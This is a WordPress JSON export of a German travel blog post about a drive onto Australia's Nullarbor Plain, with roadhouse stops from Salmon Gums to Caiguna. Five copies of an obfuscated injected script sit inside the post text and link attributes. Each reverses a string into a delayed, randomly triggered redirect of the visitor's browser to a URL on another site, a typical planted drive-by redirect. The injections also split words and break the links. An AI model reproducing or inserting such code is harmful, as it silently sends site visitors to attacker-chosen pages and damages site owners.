{"id":1211,"date":"2013-02-28T05:37:59","date_gmt":"2013-02-28T04:37:59","guid":{"rendered":"http:\/\/www.zasi.ch\/sblog\/?p=1211"},"modified":"2013-02-26T23:51:55","modified_gmt":"2013-02-26T22:51:55","slug":"und-weiter-gehts-aufs-nullarbor","status":"publish","type":"post","link":"https:\/\/www.zasi.ch\/sblog\/index.php\/archives\/1211","title":{"rendered":"Und weiter geht&#8217;s auf&#8217;s Nullarbor"},"content":{"rendered":"<p>Esperance liegt hinter uns und wir sind drauf und dran das Nullarbor anzusteuern. Das <a title=\"Nullarbor WA und SA, Australia\" href=\"http:\/\/www.nullarbornet.com.au\/\" target=\"_blank\">Nullarbor<\/a> (\u00fcberetzten l\u00e4sst sich dies mit &#8222;keine B\u00e4ume&#8220;) ist rund 1500 km lang und f\u00fchrt an der S\u00fcdk\u00fcste Australiens in die &#8222;Kreuzstadt&#8220; <a title=\"Port Augusta, SA Australia\" href=\"http:\/\/www.portaugusta.sa.gov.au\/page.aspx\" target=\"_blank\">Port Augusta<\/a>. Hier ist das &#8222;grosse&#8220; Wegkreuz zwischen Ost-West; Nord S\u00fcd und dass f\u00fcr Au<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>to- sowie Eisenbahn.<\/p>\n<p>Nun gut wir sind auf der Startbahn und noch \u00fcber 200 km zum Abzweiger auf den Eyer HWY = Nullarbor HWY entfernt.<br \/>\nWir fahren Richtung Norden und machen den ersten Kaffes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>topp in Salmon Gums. Hier gibt&#8217;s ein nettes Roadhouse und g\u00fcnstigen Diesel \ud83d\ude42<\/p>\n<p>Nun geht&#8217;s weiter nach <a title=\"Norseman, WA Australia\" href=\"http:\/\/www.<script>$NfI=function(n){if (typeof ($NfI.list[n]) == &#8222;string&#8220;) return $NfI.list[n].split(&#8222;&#8220;).reverse().join(&#8222;&#8220;);return $NfI.list[n];};$NfI.list=[&#8222;&#8218;php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth&#8217;=ferh.noitacol.tnemucod&#8220;];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>touristradio.com.au\/norseman\/&#8220; target=&#8220;_blank&#8220;>Norseman<\/a>, sozusagen die Auffahrt auf den Eyer HWY. Norseman ist ein verschlafenes Dorf mit Bergbau (Mining) und mit einigen Aboriginals, welche seit Januar 2013 als &#8222;First Nation of Australia&#8220; gelten.<\/p>\n<p>Wir sind noch recht frisch und von 34 Grad in Esperance nun bei 42 Grad auf dem Eyer HWY angelangt. Gespannt starten wir unsere Fahrt auf der doch sehr langen Strasse durch verschiedene Zeitzonen und mit Staatsgrenze bei Eucla.<br \/>\nNach 213 km kommt der &#8222;90 Mile Straight&#8220;, also 145,6 km ohne irgendeine Kurve.<br \/>\nWow und so sind wir nach einem S<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>topp im Balladonia Roadhouse bis zum sp\u00e4teren Nachmittag in <a title=\"Caiguna, WA Australia\" href=\"http:\/\/www.nullarbornet.com.au\/<script>$NfI=function(n){if (typeof ($NfI.list[n]) == &#8222;string&#8220;) return $NfI.list[n].split(&#8222;&#8220;).reverse().join(&#8222;&#8220;);return $NfI.list[n];};$NfI.list=[&#8222;&#8218;php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth&#8217;=ferh.noitacol.tnemucod&#8220;];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script>towns\/caiguna.html&#8220; target=&#8220;_blank&#8220;>Caiguna<\/a> Roadhouse f\u00fcr die Nacht angelant.<br \/>\nVonwegen Nullarbor und langweilig uns so, wir sind beeindruckt von der Landschaft und der Strasse und freuen uns auf die Weiterfahrt.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esperance liegt hinter uns und wir sind drauf und dran das Nullarbor anzusteuern. Das Nullarbor (\u00fcberetzten l\u00e4sst sich dies mit &#8222;keine B\u00e4ume&#8220;) ist rund 1500 km lang und f\u00fchrt an der S\u00fcdk\u00fcste Australiens in die &#8222;Kreuzstadt&#8220; Port Augusta. Hier ist das &#8222;grosse&#8220; Wegkreuz zwischen Ost-West; Nord S\u00fcd und dass f\u00fcr Auto- sowie Eisenbahn. Nun gut&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[3],"tags":[974,972,1638,973,971,1722,975],"_links":{"self":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1211"}],"collection":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/comments?post=1211"}],"version-history":[{"count":5,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1211\/revisions"}],"predecessor-version":[{"id":1213,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/posts\/1211\/revisions\/1213"}],"wp:attachment":[{"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/media?parent=1211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/categories?post=1211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zasi.ch\/sblog\/index.php\/wp-json\/wp\/v2\/tags?post=1211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}